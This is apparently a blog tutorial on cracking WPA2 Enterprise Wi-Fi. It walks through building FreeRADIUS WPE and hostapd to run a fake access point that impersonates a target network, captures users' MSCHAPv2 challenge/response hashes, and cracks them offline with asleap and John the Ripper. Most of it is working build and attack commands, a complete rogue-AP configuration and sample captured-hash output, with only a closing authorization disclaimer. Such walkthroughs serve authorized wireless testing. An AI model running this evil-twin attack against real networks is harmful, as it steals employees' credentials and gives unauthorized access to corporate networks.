Cracking WPA2 Enterprise wireless networks with FreeRADIUS WPE, hostapd and asleap & John the Ripper

Some wireless networks, especially in companies, don't use the pre-shared key approach (WPA2-PSK) for restricting access, but rather use individual usernames and passwords instead (WPA2 Enterprise). This is typically done by implementing the 802.1x standard through the use of a RADIUS server. Whilst this setup appears to be more secure, like the previous feature on WPA2-PSK cracking showed, the wireless network is as only secure as the passwords used, in the case of a very common (mis)configuration where there is no mutual authentication. There is a bit more work involved than in the WPA2-PSK case and this is the topic of this blog post.

The general approach is to impersonate an access point in the wireless network you are attacking and to run your own RADIUS server which will capture the password hashes for you which you can then later crack offline using asleap. I used a Raspberry Pi running Kali Linux (the successor to the famous BackTrack distro) for this task, so YMMV.

• There is a patch to FreeRADIUS called FreeRADIUS Wireless Pwnage Edition (WPE) which is very useful for this process. Since I was using a Pi which is ARM-based rather than x86-based, I needed to compile FreeRADIUS WPE from source. First grab the sources via Git:
• git clone https://github.com/brad-anton/freeradius-wpe.git

• Go into the WPE directory and then grab the source of FreeRADIUS from their site:
• wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2  

• Extract it with:
• tar jxvf freeradius-server-2.1.12.tar.bz2

• Go into the FreeRADIUS directory and patch it with:
• patch -p1 < ../freeradius-wpe.patch   

• Compile FreeRADIUS WPE with:
• ./configure
• make
• Optional: sudo make install

• Bootstrap the FreeRADIUS WPE server with:
• cd /usr/local/etc/raddb/certs
• ./bootstrap && ldconfig

• Now you can start FreeRADIUS WPE in debug mode with
• radiusd -X

• By default FreeRADIUS WPE logs credentials to:
• /usr/local/var/log/radius/freeradius-server-wpe.log

Now you have the RADIUS server which can capture the credentials from the 802.1x authentication. The next step is to create an access point for impersonating the wireless network you are attacking. You can use an external access point (using a custom firmware like DD-WRT) but for this exercise I used a D-Link wireless dongle plugged into the Pi and hostapd. You can install the vanilla version of hostpad via apt-get on Kali Linux or Ubuntu, but they only have version 1.1 in the repositories. If you want to crack WPA2 Enterprise networks you need to compile hostapd version 2.0 from source.

• Grab the sources for hostapd v2.0 with:
• wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz

• Extract it and then go to the hostapd directory itself and build it with:
• make && make install

• Start hostapd with an appropriate configuration file (I use the debug flags for extra info):
• hostapd -dd hostapd-wpe.conf

An example of an appropriate config file for a WPA2 Enterprise access point would be (assuming that your FreeRADIUS WPE server is listening on localhost):

interface=wlan0
driver=nl80211
ssid=opensecurityresearch
country_code=DE
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=CCMP
rsn_pairwise=CCMP

Pro-tip: check that you don't have wpa_supplicant or any other process running in the background which is attempting to control the wireless interface. If any other process is attempting to control the wireless interface then hostapd will fail to start.

Notice that the settings here need to correspond as closely as possible to the settings of the access point that you need to emulate, in terms of offered ciphers, etc. Pay special attention to WPA1 vs. WPA2 which are not the same standard. You can check the configuration of the access point you wish to emulate with iwlist <interface_name> scanning, for example.

This particular tutorial covers breaking the EAP-MSCHAPv2 password authentication protocol. Other WPA2 Enterprise networks might use EAP-TLS, for example, which is certificate-based and is out-of-scope of this tutorial.

Now when a client connects to your fake access point they will be prompted for their username and password. Some Windows clients are even configured to send their credentials immediately as soon as they are connected to a WPA2 Enterprise network. If you are lucky and the client is not configured to warn about self-signed certificates (which is sadly all too often the case), then they will see absolutely no difference between the real access point and your fake one. FreeRADIUS WPE will cheerfully log the credentials for you which you can then feed into asleap:

tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

mschap: Sat Jun  1 08:46:56 2013

 username: test
 challenge: 1b:0a:dd:d9:e6:50:5c:e7
 response: de:f3:a8:1f:7e:3c:43:db:04:f8:a0:75:ce:53:53:ca:70:35:71:76:2d:0c:e6:b5
 john NETNTLM: test:$NETNTLM$1b0addd9e6505ce7$def3a81f7e3c43db04f8a075ce5353ca703571762d0ce6b5

You need to now feed these challenge & response values from the FreeRADIUS WPE log into asleap.

• Crack the captured credentials from FreeRADIUS WPE with asleap:
• asleap -C <challenge> -R <response> -W <wordlist>

If you get a problem with capturing the challenge/response from the radiusd server, you might need to add:

with_ntdomain_hack = yes

to your /usr/local/etc/raddb/modules/mschap file. As with the WPA2-PSK password cracking, your main weapon is a decent wordlist so invest some time in getting the right wordlist for your needs. 

Asleap is a pretty basic tool and if you have a lot of passwords to crack and a simple wordlist-based attack is not yielding many results for you, you can use other tools. John the Ripper (JtR) is a very well-known password cracker which can crack MSCHAPv2. There is one caveat, however. The hot new thing in password cracking is the usage of GPUs through NVIDIA's CUDA or AMD's OpenCL  for superfast optimized cracking. The bad news is that John the Ripper (although it supports CUDA in an experimental form) does not have a CUDA version of the MSCHAPv2 cracking algorithm. The other current favourite weapon of choice for the aspiring password cracker is HashCat (the GPU versions are called oclHashCat and cudaHashCat) which similarly does not support MSCHAPv2 in its GPU-optimized configurations. So, you're pretty much stuck with John the Ripper and whatever CPUs you happen to have lying around (unless you pony up 100 USD to use the CloudCracker.com service).

• Download the source code of the jumbo patch version of JtR as you will need to compile it from scratch:
• http://www.openwall.com/john/g/john-1.7.9-jumbo-7.tar.bz2

• Extract it
• tar jxvf john-1.7.9-jumbo-7.tar.bz2

• Edit the params.h file in the src/ directory and set CHARSET_LENGTH to whatever length of password you expect to encounter
• Edit the Makefile and, assuming you're using a modern machine, comment the OMPFLAGS= option and uncomment the OMPFLAGS = -fopenmp -msse2 option. Now you will be able to use all the multithreading features of your multicore CPUs
• Now build JtR (you could also build the GPU features here, but we won't be using them):
• make linux-x86-64-native

• Once JtR has built successfully, you can try breaking your captured credentials. From the FreeRADIUS WPE log file you can simply copy & paste the value of the "john NETNTLM:" field for each set of captured credentials into one file. That way you can try JtR on all of your captured hashes in one go.
• If the standard wordlist-based attacks are not working, you may need to get creative. One cool feature of JtR is its rules support. That is, a rule can be applied to each of the words in the wordlist to create new words (e.g., adding "2013" after each dictionary word). For JtR, I would recommend grabbing the updated KoreLogic rules from github:
• git clone https://github.com/SpiderLabs/KoreLogic-Rules

•  Then use, for example, the top7 rules by running the following command (depending where your john.conf file lives):
• cat kore-logic-rules-top7.txt >> run/john.conf

• You can now finally run JtR as follows (explicitly specifying 12 threads for a 12 core machine):
• OMP_NUM_THREADS=12 ./run/john --wordlist=<wordlist> --rules=KoreLogicRulesTop7 <hashfile>

• Whilst JtR is running, you can hit space to make JtR display the current status, or from a separate terminal window, you can run john --status
• You can also run JtR in markov mode where it uses a statistical model to guess which character patterns are more likely:
• OMP_NUM_THREADS=12 ./run/john -markov:225:0:0:12 <hashfile>

• Good luck!

Obviously: only use these tools against a network that you are authorized to assess!